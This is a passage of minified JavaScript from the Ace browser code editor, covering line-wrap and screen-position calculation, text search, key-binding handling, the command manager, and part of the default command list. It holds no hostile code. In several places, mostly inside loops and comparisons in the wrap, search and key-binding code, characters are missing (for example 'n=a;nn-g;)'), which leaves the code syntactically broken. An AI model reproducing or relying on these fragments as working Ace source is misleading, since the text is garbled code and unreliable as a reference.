h=1;h=4352&&e<=4447||e>=4515&&e<=4519||e>=4602&&e<=4607||e>=9001&&e<=9002||e>=11904&&e<=11929||e>=11931&&e<=12019||e>=12032&&e<=12245||e>=12272&&e<=12283||e>=12288&&e<=12350||e>=12353&&e<=12438||e>=12441&&e<=12543||e>=12549&&e<=12589||e>=12593&&e<=12686||e>=12688&&e<=12730||e>=12736&&e<=12771||e>=12784&&e<=12830||e>=12832&&e<=12871||e>=12880&&e<=13054||e>=13056&&e<=19903||e>=19968&&e<=42124||e>=42128&&e<=42182||e>=43360&&e<=43388||e>=44032&&e<=55203||e>=55216&&e<=55238||e>=55243&&e<=55291||e>=63744&&e<=64255||e>=65040&&e<=65049||e>=65072&&e<=65106||e>=65108&&e<=65126||e>=65128&&e<=65131||e>=65281&&e<=65376||e>=65504&&e<=65510)}this.$computeWrapSplits=function(i,n,s){if(0==i.length)return[];var o=[],r=i.length,a=0,l=0,h=this.$wrapAsCode,c=this.$indentedSoftWrap,u=n<=Math.max(2*s,8)||!1===c?0:Math.floor(n/2);function d(e){for(var t=e-a,n=a;nn-g;){var f=a+n-g;if(i[f-1]>=10&&i[f]>=10)d(f);else if(i[f]!=e&&i[f]!=t){for(var m=Math.max(f-(n-(n>>2)),a-1);f>m&&i[f]m&&i[f]m&&9==i[f];)f--}else for(;f>m&&i[f]<10;)f--;f>m?d(++f):(2==i[f=a+n]&&f--,d(f-g))}else{for(;f!=a-1&&i[f]!=e;f--);if(f>a){d(f);continue}for(f=a+n;f39&&r<48||r>57&&r<64?s.push(9):r>=4352&&i(r)?s.push(1,2):s.push(1)}return s},this.$getStringScreenWidth=function(e,t,n){if(0==t)return[0,0];var s,o;for(null==t&&(t=1/0),n=n||0,o=0;o=4352&&i(s)?n+=2:n+=1,!(n>t));o++);return[n,o]},this.lineWidgets=null,this.getRowLength=function(e){var t=1;return this.lineWidgets&&(t+=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0),this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+t:t},this.getRowLineCount=function(e){return this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1:1},this.getRowWrapIndent=function(e){if(this.$useWrapMode){var t=this.screenToDocumentPosition(e,Number.MAX_VALUE),i=this.$wrapData[t.row];return i.length&&i[0]=0){a=h[c],o=this.$docRowCache[c];var d=e>h[u-1]}else d=!u;for(var g=this.getLength()-1,f=this.getNextFoldLine(o),m=f?f.start.row:1/0;a<=e&&!(a+(l=this.getRowLength(o))>e||o>=g);)a+=l,++o>m&&(o=f.end.row+1,m=(f=this.getNextFoldLine(o,f))?f.start.row:1/0),d&&(this.$docRowCache.push(o),this.$screenRowCache.push(a));if(f&&f.start.row<=o)n=this.getFoldDisplayLine(f),o=f.start.row;else{if(a+l<=e||o>g)return{row:g,column:this.getLine(g).length};n=this.getLine(o),f=null}var p=0,v=Math.floor(e-a);if(this.$useWrapMode){var w=this.$wrapData[o];w&&(s=w[v],v>0&&w.length&&(p=w.indent,r=w[v-1]||w[w.length-1],n=n.substring(r)))}return void 0!==i&&this.$bidiHandler.isBidiRow(a+v,o,v)&&(t=this.$bidiHandler.offsetToCol(i)),r+=this.$getStringScreenWidth(n,t-p)[1],this.$useWrapMode&&r>=s&&(r=s-1),f?f.idxToPosition(r):{row:o,column:r}},this.documentToScreenPosition=function(e,t){if(void 0===t)var i=this.$clipPositionToDocument(e.row,e.column);else i=this.$clipPositionToDocument(e,t);e=i.row,t=i.column;var n,s=0,o=null;(n=this.getFoldAt(e,t,1))&&(e=n.start.row,t=n.start.column);var r,a=0,l=this.$docRowCache,h=this.$getRowCacheIndex(l,e),c=l.length;if(c&&h>=0){a=l[h],s=this.$screenRowCache[h];var u=e>l[c-1]}else u=!c;for(var d=this.getNextFoldLine(a),g=d?d.start.row:1/0;a=g){if((r=d.end.row+1)>e)break;g=(d=this.getNextFoldLine(r,d))?d.start.row:1/0}else r=a+1;s+=this.getRowLength(a),a=r,u&&(this.$docRowCache.push(a),this.$screenRowCache.push(s))}var f="";d&&a>=g?(f=this.getFoldDisplayLine(d,e,t),o=d.start.row):(f=this.getLine(e).substring(0,t),o=e);var m=0;if(this.$useWrapMode){var p=this.$wrapData[o];if(p){for(var v=0;f.length>=p[v];)s++,v++;f=f.substring(p[v-1]||0,f.length),m=v>0?p.indent:0}}return this.lineWidgets&&this.lineWidgets[a]&&this.lineWidgets[a].rowsAbove&&(s+=this.lineWidgets[a].rowsAbove),{row:s,column:m+this.$getStringScreenWidth(f)[0]}},this.documentToScreenColumn=function(e,t){return this.documentToScreenPosition(e,t).column},this.documentToScreenRow=function(e,t){return this.documentToScreenPosition(e,t).row},this.getScreenLength=function(){var e=0,t=null;if(this.$useWrapMode)for(var i=this.$wrapData.length,n=0,s=(a=0,(t=this.$foldData[a++])?t.start.row:1/0);ns&&(n=t.end.row+1,s=(t=this.$foldData[a++])?t.start.row:1/0)}else{e=this.getLength();for(var r=this.$foldData,a=0;ai);o++);return[n,o]})},this.destroy=function(){this.destroyed||(this.bgTokenizer.setDocument(null),this.bgTokenizer.cleanup(),this.destroyed=!0),this.$stopWorker(),this.removeAllListeners(),this.doc&&this.doc.off("change",this.$onChange),this.selection.detach()},this.isFullWidth=i}.call(f.prototype),e("./edit_session/folding").Folding.call(f.prototype),e("./edit_session/bracket_match").BracketMatch.call(f.prototype),r.defineOptions(f.prototype,"session",{wrap:{set:function(e){if(e&&"off"!=e?"free"==e?e=!0:"printMargin"==e?e=-1:"string"==typeof e&&(e=parseInt(e,10)||!1):e=!1,this.$wrap!=e)if(this.$wrap=e,e){var t="number"==typeof e?e:null;this.setWrapLimitRange(t,t),this.setUseWrapMode(!0)}else this.setUseWrapMode(!1)},get:function(){return this.getUseWrapMode()?-1==this.$wrap?"printMargin":this.getWrapLimitRange().min?this.$wrap:"free":"off"},handlesSet:!0},wrapMethod:{set:function(e){(e="auto"==e?"text"!=this.$mode.type:"text"!=e)!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$useWrapMode=!1,this.setUseWrapMode(!0)))},initialValue:"auto"},indentedSoftWrap:{set:function(){this.$useWrapMode&&(this.$useWrapMode=!1,this.setUseWrapMode(!0))},initialValue:!0},firstLineNumber:{set:function(){this._signal("changeBreakpoint")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){(e=parseInt(e))>0&&this.$tabSize!==e&&(this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal("changeTabSize"))},initialValue:4,handlesSet:!0},navigateWithinSoftTabs:{initialValue:!1},foldStyle:{set:function(e){this.setFoldStyle(e)},handlesSet:!0},overwrite:{set:function(e){this._signal("changeOverwrite")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId},handlesSet:!0}}),t.EditSession=f})),define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=e("./lib/oop"),o=e("./range").Range,r=function(){this.$options={}};(function(){this.set=function(e){return s.mixin(this.$options,e),this},this.getOptions=function(){return n.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,i=this.$matchIterator(e,t);if(!i)return!1;var n=null;return i.forEach((function(e,i,s,r){return n=new o(e,i,s,r),!(i==r&&t.start&&t.start.start&&0!=t.skipCurrent&&n.isEqual(t.start))||(n=null,!1)})),n},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var i=t.range,s=i?e.getLines(i.start.row,i.end.row):e.doc.getAllLines(),r=[],a=t.re;if(t.$isMultiLine){var l,h=a.length,c=s.length-h;e:for(var u=a.offset||0;u<=c;u++){for(var d=0;dm||(r.push(l=new o(u,m,u+h-1,p)),h>2&&(u=u+h-2))}}else for(var v=0;vy&&r[d].end.row==i.end.row;)d--;for(r=r.slice(v,d+1),v=0,d=r.length;v=a;i--)if(u(i,Number.MAX_VALUE,e))return;if(0!=t.wrap)for(i=l,a=r.row;i>=a;i--)if(u(i,Number.MAX_VALUE,e))return}};else h=function(e){var i=r.row;if(!u(i,r.column,e)){for(i+=1;i<=l;i++)if(u(i,0,e))return;if(0!=t.wrap)for(i=a,l=r.row;i<=l;i++)if(u(i,0,e))return}};if(t.$isMultiLine)var c=i.length,u=function(t,s,o){var r=n?t-c+1:t;if(!(r<0||r+c>e.getLength())){var a=e.getLine(r),l=a.search(i[0]);if(!(!n&&ls))return!!o(r,l,r+c-1,u)||void 0}}};else if(n)u=function(t,n,s){var o,r=e.getLine(t),a=[],l=0;for(i.lastIndex=0;o=i.exec(r);){var h=o[0].length;if(l=o.index,!h){if(l>=r.length)break;i.lastIndex=l+=1}if(o.index+h>n)break;a.push(o.index,h)}for(var c=a.length-1;c>=0;c-=2){var u=a[c-1];if(s(t,u,t,u+(h=a[c])))return!0}};else u=function(t,n,s){var o,r,a=e.getLine(t);for(i.lastIndex=n;r=i.exec(a);){var l=r[0].length;if(s(t,o=r.index,t,o+l))return!0;if(!l&&(i.lastIndex=o+=1,o>=a.length))return!1}};return{forEach:h}}}).call(r.prototype),t.Search=r})),define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("../lib/keys"),s=e("../lib/useragent"),o=n.KEY_MODS;function r(e,t){this.platform=t||(s.isMac?"mac":"win"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function a(e,t){r.call(this,e,t),this.$singleCommand=!1}a.prototype=r.prototype,function(){function e(e){return"object"==typeof e&&e.bindKey&&e.bindKey.position||(e.isDefault?-100:0)}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var i=e&&("string"==typeof e?e:e.name);e=this.commands[i],t||delete this.commands[i];var n=this.commandKeyBinding;for(var s in n){var o=n[s];if(o==e)delete n[s];else if(Array.isArray(o)){var r=o.indexOf(e);-1!=r&&(o.splice(r,1),1==o.length&&(n[s]=o[0]))}}},this.bindKey=function(e,t,i){if("object"==typeof e&&e&&(null==i&&(i=e.position),e=e[this.platform]),e)return"function"==typeof t?this.addCommand({exec:t,bindKey:e,name:t.name||e}):void e.split("|").forEach((function(e){var n="";if(-1!=e.indexOf(" ")){var s=e.split(/\s+/);e=s.pop(),s.forEach((function(e){var t=this.parseKeys(e),i=o[t.hashId]+t.key;n+=(n?" ":"")+i,this._addCommandToBinding(n,"chainKeys")}),this),n+=" "}var r=this.parseKeys(e),a=o[r.hashId]+r.key;this._addCommandToBinding(n+a,t,i)}),this)},this._addCommandToBinding=function(t,i,n){var s,o=this.commandKeyBinding;if(i)if(!o[t]||this.$singleCommand)o[t]=i;else{Array.isArray(o[t])?-1!=(s=o[t].indexOf(i))&&o[t].splice(s,1):o[t]=[o[t]],"number"!=typeof n&&(n=e(i));var r=o[t];for(s=0;sn)break}r.splice(s,0,i)}else delete o[t]},this.addCommands=function(e){e&&Object.keys(e).forEach((function(t){var i=e[t];if(i){if("string"==typeof i)return this.bindKey(i,t);"function"==typeof i&&(i={exec:i}),"object"==typeof i&&(i.name||(i.name=t),this.addCommand(i))}}),this)},this.removeCommands=function(e){Object.keys(e).forEach((function(t){this.removeCommand(e[t])}),this)},this.bindKeys=function(e){Object.keys(e).forEach((function(t){this.bindKey(t,e[t])}),this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\-\+]([\-\+])?/).filter((function(e){return e})),i=t.pop(),s=n[i];if(n.FUNCTION_KEYS[s])i=n.FUNCTION_KEYS[s].toLowerCase();else{if(!t.length)return{key:i,hashId:-1};if(1==t.length&&"shift"==t[0])return{key:i.toUpperCase(),hashId:-1}}for(var o=0,r=t.length;r--;){var a=n.KEY_MODS[t[r]];if(null==a)return"undefined"!=typeof console&&console.error("invalid modifier "+t[r]+" in "+e),!1;o|=a}return{key:i,hashId:o}},this.findKeyCommand=function(e,t){var i=o[e]+t;return this.commandKeyBinding[i]},this.handleKeyboard=function(e,t,i,n){if(!(n<0)){var s=o[t]+i,r=this.commandKeyBinding[s];return e.$keyChain&&(e.$keyChain+=" "+s,r=this.commandKeyBinding[e.$keyChain]||r),!r||"chainKeys"!=r&&"chainKeys"!=r[r.length-1]?(e.$keyChain&&(t&&4!=t||1!=i.length?(-1==t||n>0)&&(e.$keyChain=""):e.$keyChain=e.$keyChain.slice(0,-s.length-1)),{command:r}):(e.$keyChain=e.$keyChain||s,{command:"null"})}},this.getStatusText=function(e,t){return t.$keyChain||""}}.call(r.prototype),t.HashHandler=r,t.MultiHashHandler=a})),define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../keyboard/hash_handler").MultiHashHandler,o=e("../lib/event_emitter").EventEmitter,r=function(e,t){s.call(this,t,e),this.byName=this.commands,this.setDefaultHandler("exec",(function(e){return e.args?e.command.exec(e.editor,e.args,e.event,!1):e.command.exec(e.editor,{},e.event,!0)}))};n.inherits(r,s),function(){n.implement(this,o),this.exec=function(e,t,i){if(Array.isArray(e)){for(var n=e.length;n--;)if(this.exec(e[n],t,i))return!0;return!1}if("string"==typeof e&&(e=this.commands[e]),!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;if(0!=this.$checkCommandState&&e.isAvailable&&!e.isAvailable(t))return!1;var s={editor:t,command:e,args:i};return s.returnValue=this._emit("exec",s),this._signal("afterExec",s),!1!==s.returnValue},this.toggleRecording=function(e){if(!this.$inReplay)return e&&e._emit("changeStatus"),this.recording?(this.macro.pop(),this.off("exec",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on("exec",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(!this.$inReplay&&this.macro){if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach((function(t){"string"==typeof t?this.exec(t,e):this.exec(t[0],e,t[1])}),this)}finally{this.$inReplay=!1}}},this.trimMacro=function(e){return e.map((function(e){return"string"!=typeof e[0]&&(e[0]=e[0].name),e[1]||(e=e[0]),e}))}}.call(r.prototype),t.CommandManager=r})),define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=e("../config"),o=e("../range").Range;function r(e,t){return{win:e,mac:t}}t.commands=[{name:"showSettingsMenu",description:"Show settings menu",bindKey:r("Ctrl-,","Command-,"),exec:function(e){s.loadModule("ace/ext/settings_menu",(function(t){t.init(e),e.showSettingsMenu()}))},readOnly:!0},{name:"goToNextError",description:"Go to next error",bindKey:r("Alt-E","F4"),exec:function(e){s.loadModule("./ext/error_marker",(function(t){t.showErrorMarker(e,1)}))},scrollIntoView:"animate",readOnly:!0},{name:"goToPreviousError",description:"Go to previous error",bindKey:r("Alt-Shift-E","Shift-F4"),exec:function(e){s.loadModule("./ext/error_marker",(function(t){t.showErrorMarker(e,-1)}))},scrollIntoView:"animate",readOnly:!0},{name:"selectall",description:"Select all",bindKey:r("Ctrl-A","Command-A"),exec:function(e){e.selectAll()},readOnly:!0},{name:"centerselection",description:"Center selection",bindKey:r(null,"Ctrl-L"),exec:function(e){e.centerSelection()},readOnly:!0},{name:"gotoline",description:"Go to line...",bindKey:r("Ctrl-L","Command-L"),exec:function(e,t){"number"!=typeof t||isNaN(t)||e.gotoLine(t),e.prompt({$type:"gotoLine"})},readOnly:!0},{name:"fold",bindKey:r("Alt-L|Ctrl-F1","Command-Alt-L|Command-F1"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"unfold",bindKey:r("Alt-Shift-L|Ctrl-Shift-F1","Command-Alt-Shift-L|Command-Shift-F1"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleFoldWidget",description:"Toggle fold widget",bindKey:r("F2","F2"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"toggleParentFoldWidget",description:"Toggle parent fold widget",bindKey:r("Alt-F2","Alt-F2"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"foldall",description:"Fold all",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAll()},scrollIntoView:"center",readOnly:!0},{name:"foldAllComments",description:"Fold all comments",bindKey:r(null,"Ctrl-Command-Option-0"),exec:function(e){e.session.foldAllComments()},scrollIntoView:"center",readOnly:!0},{name:"foldOther",description:"Fold other",bindKey:r("Alt-0","Command-Option-0"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:"center",readOnly:!0},{name:"unfoldall",description:"Unfold all",bindKey:r("Alt-Shift-0","Command-Option-Shift-0"),exec:function(e){e.session.unfold()},scrollIntoView:"center",readOnly:!0},{name:"findnext",description:"Find next",bindKey:r("Ctrl-K","Command-G"),exec:function(e){e.findNext()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"findprevious",description:"Find previous",bindKey:r("Ctrl-Shift-K","Command-Shift-G"),exec:function(e){e.findPrevious()},multiSelectAction:"forEach",scrollIntoView:"center",readOnly:!0},{name:"selectOrFindNext",description:"Select or find next",bindKey:r("Alt-K","Ctrl-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:"selectOrFindPrevious",description:"Select or find previous",bindKey:r("Alt-Shift-K","Ctrl-Shift-G"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:"find",description:"Find",bindKey:r("Ctrl-F","Command-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e)}))},readOnly:!0},{name:"overwrite",description:"Overwrite",bindKey:"Insert",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:"selecttostart",description:"Select to start",bindKey:r("Ctrl-Shift-Home","Command-Shift-Home|Command-Shift-Up"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotostart",description:"Go to start",bindKey:r("Ctrl-Home","Command-Home|Command-Up"),exec:function(e){e.navigateFileStart()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectup",description:"Select up",bindKey:r("Shift-Up","Shift-Up|Ctrl-Shift-P"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golineup",description:"Go line up",bindKey:r("Up","Up|Ctrl-P"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttoend",description:"Select to end",bindKey:r("Ctrl-Shift-End","Command-Shift-End|Command-Shift-Down"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"gotoend",description:"Go to end",bindKey:r("Ctrl-End","Command-End|Command-Down"),exec:function(e){e.navigateFileEnd()},multiSelectAction:"forEach",readOnly:!0,scrollIntoView:"animate",aceCommandGroup:"fileJump"},{name:"selectdown",description:"Select down",bindKey:r("Shift-Down","Shift-Down|Ctrl-Shift-N"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"golinedown",description:"Go line down",bindKey:r("Down","Down|Ctrl-N"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordleft",description:"Select word left",bindKey:r("Ctrl-Shift-Left","Option-Shift-Left"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordleft",description:"Go to word left",bindKey:r("Ctrl-Left","Option-Left"),exec:function(e){e.navigateWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolinestart",description:"Select to line start",bindKey:r("Alt-Shift-Left","Command-Shift-Left|Ctrl-Shift-A"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolinestart",description:"Go to line start",bindKey:r("Alt-Left|Home","Command-Left|Home|Ctrl-A"),exec:function(e){e.navigateLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectleft",description:"Select left",bindKey:r("Shift-Left","Shift-Left|Ctrl-Shift-B"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoleft",description:"Go to left",bindKey:r("Left","Left|Ctrl-B"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectwordright",description:"Select word right",bindKey:r("Ctrl-Shift-Right","Option-Shift-Right"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordright",description:"Go to word right",bindKey:r("Ctrl-Right","Option-Right"),exec:function(e){e.navigateWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolineend",description:"Select to line end",bindKey:r("Alt-Shift-Right","Command-Shift-Right|Shift-End|Ctrl-Shift-E"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolineend",description:"Go to line end",bindKey:r("Alt-Right|End","Command-Right|End|Ctrl-E"),exec:function(e){e.navigateLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectright",description:"Select right",bindKey:r("Shift-Right","Shift-Right"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoright",description:"Go to right",bindKey:r("Right","Right|Ctrl-F"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectpagedown",description:"Select page down",bindKey:"Shift-PageDown",exec:function(e){e.selectPageDown()},readOnly:!0},{name:"pagedown",description:"Page down",bindKey:r(null,"Option-PageDown"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:"gotopagedown",description:"Go to page down",bindKey:r("PageDown","PageDown|Ctrl-V"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:"selectpageup",description:"Select page up",bindKey:"Shift-PageUp",exec:function(e){e.selectPageUp()},readOnly:!0},{name:"pageup",description:"Page up",bindKey:r(null,"Option-PageUp"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:"gotopageup",description:"Go to page up",bindKey:"PageUp",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:"scrollup",description:"Scroll up",bindKey:r("Ctrl-Up",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"scrolldown",description:"Scroll down",bindKey:r("Ctrl-Down",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"selectlinestart",description:"Select line start",bindKey:"Shift-Home",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectlineend",description:"Select line end",bindKey:"Shift-End",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"togglerecording",description:"Toggle recording",bindKey:r("Ctrl-Alt-E","Command-Option-E"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:"replaymacro",description:"Replay macro",bindKey:r("Ctrl-Shift-E","Command-Shift-E"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:"jumptomatching",description:"Jump to matching",bindKey:r("Ctrl-\\|Ctrl-P","Command-\\"),exec:function(e){e.jumpToMatching()},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"selecttomatching",description:"Select to matching",bindKey:r("Ctrl-Shift-\\|Ctrl-Shift-P","Command-Shift-\\"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"expandToMatching",description:"Expand to matching",bindKey:r("Ctrl-Shift-M","Ctrl-Shift-M"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"passKeysToBrowser",description:"Pass keys to browser",bindKey:r(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:"copy",description:"Copy",exec:function(e){},readOnly:!0},{name:"cut",description:"Cut",exec:function(e){var t=e.$copyWithEmptySelection&&e.selection.isEmpty()?e.selection.getLineRange():e.selection.getRange();e._emit("cut",t),t.isEmpty()||e.session.remove(t),e.clearSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"paste",description:"Paste",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:"cursor"},{name:"removeline",description:"Remove line",bindKey:r("Ctrl-D","Command-D"),exec:function(e){e.removeLines()},scrollIntoView:"cursor",multiSelectAction:"forEachLine"},{name:"duplicateSelection",description:"Duplicate selection",bindKey:r("Ctrl-Shift-D","Command-Shift-D"),exec:function(e){e.duplicateSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"sortlines",description:"Sort lines",bindKey:r("Ctrl-Alt-S","Command-Alt-S"),exec:function(e){e.sortLines()},scrollIntoView:"selection",multiSelectAction:"forEachLine"},{name:"togglecomment",description:"Toggle comment",bindKey:r("Ctrl-/","Command-/"),exec:function(e){e.toggleCommentLines()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"toggleBlockComment",description:"Toggle block comment",bindKey:r("Ctrl-Shift-/","Command-Shift-/"),exec:function(e){e.toggleBlockComment()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"modifyNumberUp",description:"Modify number up",bindKey:r("Ctrl-Shift-Up","Alt-Shift-Up"),exec:function(e){e.modifyNumber(1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"modifyNumberDown",description:"Modify number down",bindKey:r("Ctrl-Shift-Down","Alt-Shift-Down"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"replace",description:"Replace",bindKey:r("Ctrl-H","Command-Option-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e,!0)}))}},{name:"undo",description:"Undo",bindKey:r("Ctrl-Z","Command-Z"),exec:function(e){e.undo()}},{name:"redo",description:"Redo",bindKey:r("Ctrl-Shift-Z|Ctrl-Y","Command-Shift-Z|Command-Y"),exec:function(e){e.redo()}},{name:"copylinesup",description:"Copy lines up",bindKey:r("Alt-Shift-Up","Command-Option-Up"),exec:function(e){e.copyLinesUp()},scrollIntoView:"cursor"},{name:"movelinesup",description:"Move lines up",bindKey:r("Alt-Up","Option-Up"),exec:function(e){e.moveLinesUp()},scrollIntoView:"cursor"},{name:"copylinesdown",description:"Copy lines down",bindKey:r("Alt-Shift-Down","Command-Option-Down"),exec:function(e){e.copyLinesDown()},scrollIntoView:"cursor"},{name:"movelinesdown",description:"Move lines down",bindKey:r("Alt-Down","Option-Down"),exec:function(e){e.moveLinesDown()},scrollIntoView:"cursor"},{name:"del",description:"Delete",bindKey:r("Delete","Delete|Ctrl-D|Shift-Delete"),exec:function(e){e.remove("right")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"backspace",description:"Backspace",bindKey:r("Shift-Backspace|Backspace","Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"),exec:function(e){e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"cut_or_delete",description:"Cut or delete",bindKey:r("Shift-Delete",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestart",description:"Remove to line start",bindKey:r("Alt-Backspace","Command-Backspace"),exec:function(e){e.removeToLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineend",description:"Remove to line end",bindKey:r("Alt-Delete","Ctrl-K|Command-Delete"),exec:function(e){e.removeToLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestarthard",description:"Remove to line start hard",bindKey:r("Ctrl-Shift-Backspace",null),exec:function(e){var t=e.selection.getRange();t.start.column=0,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineendhard",description:"Remove to line end hard",bindKey:r("Ctrl-Shift-Delete",null),exec:function(e){var t=e.selection.getRange();t.end.column=Number.MAX_VALUE,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordleft",description:"Remove word left",bindKey:r("Ctrl-Backspace","Alt-Backspace|Ctrl-Alt-Backspace"),exec:function(e){e.removeWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordright",description:"Remove word 